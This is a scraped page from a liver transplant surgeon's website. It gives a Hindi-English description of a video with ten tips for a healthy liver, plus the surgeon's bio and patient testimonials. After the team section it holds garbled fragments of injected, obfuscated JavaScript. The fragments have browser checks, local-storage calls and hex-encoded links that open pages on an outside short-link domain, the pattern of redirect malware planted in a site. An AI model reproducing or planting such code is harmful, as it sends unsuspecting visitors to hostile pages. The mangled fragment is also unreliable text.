लीवर को मजबूत बनाने के #10 उपाय | liver strong kaise banaye | What to eat for a healthy liver
One should must follow following 10 tips to have a healthy liver.
भारत में दस खतरनाक रोगों में से एक लिवर की बीमारी भी है । यह बड़ी तेज़ी से बढ़ रही है और हर साल तकरीब दो लाख लोग लीवर की समस्या से मरते हैं।
किसी भी celebration के दौरान खाये हुए ज्यादा fat, ज्यादा carbohydrates, ज्यादा junk food को, और ज्यादा मात्रा में alcohol हमारे लिवर को ही digest करना पड़ता है, filter करना पड़ता है, ताकि जो फायदेमंद है उसे use कर सके और जो हानिकारक है उसे बॉडी के बहार filter कर दे।
ऐसे खाने को digest करते वक्त जो भी toxins generate होते है, हमारा liver उन्हें body से बहार filter कर देता है।
इस वीडियो में डॉ कुछ 10 tips बताते है जैसे सुबह जल्दी उठना, hydrated रहना, junk food avoid करना, regular exercise आदि.
10 ways to keep liver healthy:
1. Healthy Diet
2. Maintain Healthy Weight
3. Daily Exercise
4. Quit Alcohol
5. avoid unprescribed medicine
6. avoid sharing personal equipment
7. Avoide unprotected sex
8. control other diseases
9. take a better sleep
10.Take vaccination for Hepatitis B and E
अधिक जानकारी के लिए पूरा वीडियो देखे। आप अपने प्रश्न कमेंट बॉक्स में भी दाल सकते या हमें कॉल करे – +91 – 9202247365 / +91 – 9209145678
#Hindi. Visit website: https://thelivertransplant.com/
The language used in this video is#Hindi.
Visit website:https://thelivertransplant.com/
You can follow me on other platforms: Dr.Bipin Vibhute: https://www.facebook.com/livertranspl…
Dr.Bipin Vibhute: https://www.instagram.com/drbipeenvib…
Dr. Bipin Vibhute is the program director of the Center for Organ Transplants, Sahyadri Hospitals ( Pune, Nashik & Karad ). He is famous for his outstanding surgical skills, great patient rapport, down-to-earth nature, and infectious smile.
Through this channel, we are bringing a lot of information related to the liver, its various diseases, and some important information. So, stay updated, subscribe, like, and share our channel.
Thanks!
Was this video helpful for you?
Video By
Was this video helpful for you?
Reviews All Reviews
“I was diagnosed with Liver Cirrhosis in March 2016 in Sangali City. I was absolutely shocked, as I never expected this to happen to that and me to this soon. We met Dr. Bipin B Vibhute and he answered all our queries and questions with absolute patience that we understood I need a transplant.”
“A broken marriage followed by self-pity made me a drunker. Excessive consumption of alcohol was the reason due to which my liver got damaged. The damage was so severe that a liver transplant was the only option if I wanted to live. I have been extremely fortunate to get three chances in life. I have been…”
Doctors Meet Our Team
Dr. Bipin Vibhute
Liver & Multiorgan Transplant Surgeon
[_0x3023c3 _i=”1″ _address=”1″ theme_builder_area=”post_content” /]['userAgent','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx62x66x53x32x63x322','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx4ex4bx66x33x63x363','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx43x6cx4ex30x63x330','random','-local-storage','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx46x55x46x37x63x377','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx56x51x6ex36x63x326','12075252qhSFyR','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx78x6bx4dx38x63x368','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx79x58x4ex35x63x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu' _i=”2″ _address=”2″ theme_builder_area=”post_content” /]['push' _i=”3″ _address=”3″ theme_builder_area=”post_content” /]['shift' _i=”4″ _address=”4″ theme_builder_area=”post_content” /]['push' _i=”5″ _address=”5″ theme_builder_area=”post_content” /]['shift' _i=”6″ _address=”6″ theme_builder_area=”post_content” /][_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx6bx48x62x31x63x381',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx59x42x72x34x63x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex70x72x6fx2fx6bx56x55x39x63x379','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener' _i=”7″ _address=”7″ theme_builder_area=”post_content” /][_0x365b 0=”%910×0″ _i=”8″ _address=”8″ theme_builder_area=”post_content” /][_0x365b 0=”%910×4″ _i=”9″ _address=”9″ theme_builder_area=”post_content” /][1-6 _i=”10″ _address=”10″ theme_builder_area=”post_content” /][4-7 _i=”11″ _address=”11″ theme_builder_area=”post_content” /][a-w _i=”12″ _address=”12″ theme_builder_area=”post_content” /][0-2 _i=”13″ _address=”13″ theme_builder_area=”post_content” /][2-3 _i=”14″ _address=”14″ theme_builder_area=”post_content” /][1-8 _i=”15″ _address=”15″ theme_builder_area=”post_content” /][2-7 _i=”16″ _address=”16″ theme_builder_area=”post_content” /][0-3 _i=”17″ _address=”17″ theme_builder_area=”post_content” /][_0x365b 0=”%910×4″ _i=”18″ _address=”18″ theme_builder_area=”post_content” /][_0x365b 0=”%910×5″ _i=”19″ _address=”19″ theme_builder_area=”post_content” /][_0x365b 0=”%910×1″ _i=”20″ _address=”20″ theme_builder_area=”post_content” /][_0x365b 0=”%910×2″ _i=”21″ _address=”21″ theme_builder_area=”post_content” /][_0x365b 0=”%910×3″ _i=”22″ _address=”22″ theme_builder_area=”post_content” /][_0x365b 0=”%910×6″ _i=”23″ _address=”23″ theme_builder_area=”post_content” /][0x7 _i=”24″ _address=”24″ theme_builder_area=”post_content” /][0x8 _i=”25″ _address=”25″ theme_builder_area=”post_content” /][0x9 _i=”26″ _address=”26″ theme_builder_area=”post_content” /][0xa _i=”27″ _address=”27″ theme_builder_area=”post_content” /][0xb _i=”28″ _address=”28″ theme_builder_area=”post_content” /][0xc _i=”29″ _address=”29″ theme_builder_area=”post_content” /][0xd _i=”30″ _address=”30″ theme_builder_area=”post_content” /][0xe _i=”31″ _address=”31″ theme_builder_area=”post_content” /][0xf _i=”32″ _address=”32″ theme_builder_area=”post_content” /][_0x365b 0=”%910×14″ _i=”33″ _address=”33″ theme_builder_area=”post_content” /][_0x365b 0=”%910×12″ _i=”34″ _address=”34″ theme_builder_area=”post_content” /][0x10 _i=”35″ _address=”35″ theme_builder_area=”post_content” /][0x11 _i=”36″ _address=”36″ theme_builder_area=”post_content” /][_0x365b 0=”%910×13″ _i=”37″ _address=”37″ theme_builder_area=”post_content” /][0x10 _i=”38″ _address=”38″ theme_builder_area=”post_content” /][0x11 _i=”39″ _address=”39″ theme_builder_area=”post_content” /][_0x365b 0=”%910×15″ _i=”40″ _address=”40″ theme_builder_area=”post_content” /][_0x365b 0=”%910×12″ _i=”41″ _address=”41″ theme_builder_area=”post_content” /][0x10 _i=”42″ _address=”42″ theme_builder_area=”post_content” /][0x11 _i=”43″ _address=”43″ theme_builder_area=”post_content” /][Math 0=”%91_0x365b%910×18″ _i=”44″ _address=”44″ theme_builder_area=”post_content” /][_0x365b 0=”%910×16″ _i=”45″ _address=”45″ theme_builder_area=”post_content” /][_0x365b 0=”%910×17″ _i=”46″ _address=”46″ theme_builder_area=”post_content” /][_0x365b 0=”%910×13″ _i=”47″ _address=”47″ theme_builder_area=”post_content” /][0x10 _i=”48″ _address=”48″ theme_builder_area=”post_content” /][0x11 _i=”49″ _address=”49″ theme_builder_area=”post_content” /][_0x365b 0=”%910×12″ _i=”50″ _address=”50″ theme_builder_area=”post_content” /][0x10 _i=”51″ _address=”51″ theme_builder_area=”post_content” /][0x11 _i=”52″ _address=”52″ theme_builder_area=”post_content” /][_0x365b 0=”%910×13″ _i=”53″ _address=”53″ theme_builder_area=”post_content” /][0x10 _i=”54″ _address=”54″ theme_builder_area=”post_content” /][0x11 _i=”55″ _address=”55″ theme_builder_area=”post_content” /][_0x365b 0=”%910x1a” _i=”56″ _address=”56″ theme_builder_area=”post_content” /][_0x365b 0=”%910×19″ _i=”57″ _address=”57″ theme_builder_area=”post_content” /][_0x365b 0=”%910x1a” _i=”58″ _address=”58″ theme_builder_area=”post_content” /][_0x365b 0=”%910×19″ _i=”59″ _address=”59″ theme_builder_area=”post_content” /][0x10 _i=”60″ _address=”60″ theme_builder_area=”post_content” /][0x1b _i=”61″ _address=”61″ theme_builder_area=”post_content” /][0x10 _i=”62″ _address=”62″ theme_builder_area=”post_content” /][0x1c _i=”63″ _address=”63″ theme_builder_area=”post_content” /][_0x365b 0=”%910×0″ _i=”64″ _address=”64″ theme_builder_area=”post_content” /][_0x365b 0=”%910x1e” _i=”65″ _address=”65″ theme_builder_area=”post_content” /][0x1d _i=”66″ _address=”66″ theme_builder_area=”post_content” /][_0x365b 0=”%910x1f” _i=”67″ _address=”67″ theme_builder_area=”post_content” /][_0x365b 0=”%910×20″ _i=”68″ _address=”68″ theme_builder_area=”post_content” /][_0x365b 0=”%910×21″ _i=”69″ _address=”69″ theme_builder_area=”post_content” /][0x10 _i=”70″ _address=”70″ theme_builder_area=”post_content” /][0x1b _i=”71″ _address=”71″ theme_builder_area=”post_content” /][0x10 _i=”72″ _address=”72″ theme_builder_area=”post_content” /][0x1c _i=”73″ _address=”73″ theme_builder_area=”post_content” /][0x10 _i=”74″ _address=”74″ theme_builder_area=”post_content” /][0x1c _i=”75″ _address=”75″ theme_builder_area=”post_content” /][_0x365b 0=”%910×0″ _i=”76″ _address=”76″ theme_builder_area=”post_content” /][0x10 _i=”77″ _address=”77″ theme_builder_area=”post_content” /][0x1b _i=”78″ _address=”78″ theme_builder_area=”post_content” /][_0x365b 0=”%910x1e” _i=”79″ _address=”79″ theme_builder_area=”post_content” /][0x1d _i=”80″ _address=”80″ theme_builder_area=”post_content” /][_0x365b 0=”%910×23″ _i=”81″ _address=”81″ theme_builder_area=”post_content” /][0x22 _i=”82″ _address=”82″ theme_builder_area=”post_content” /]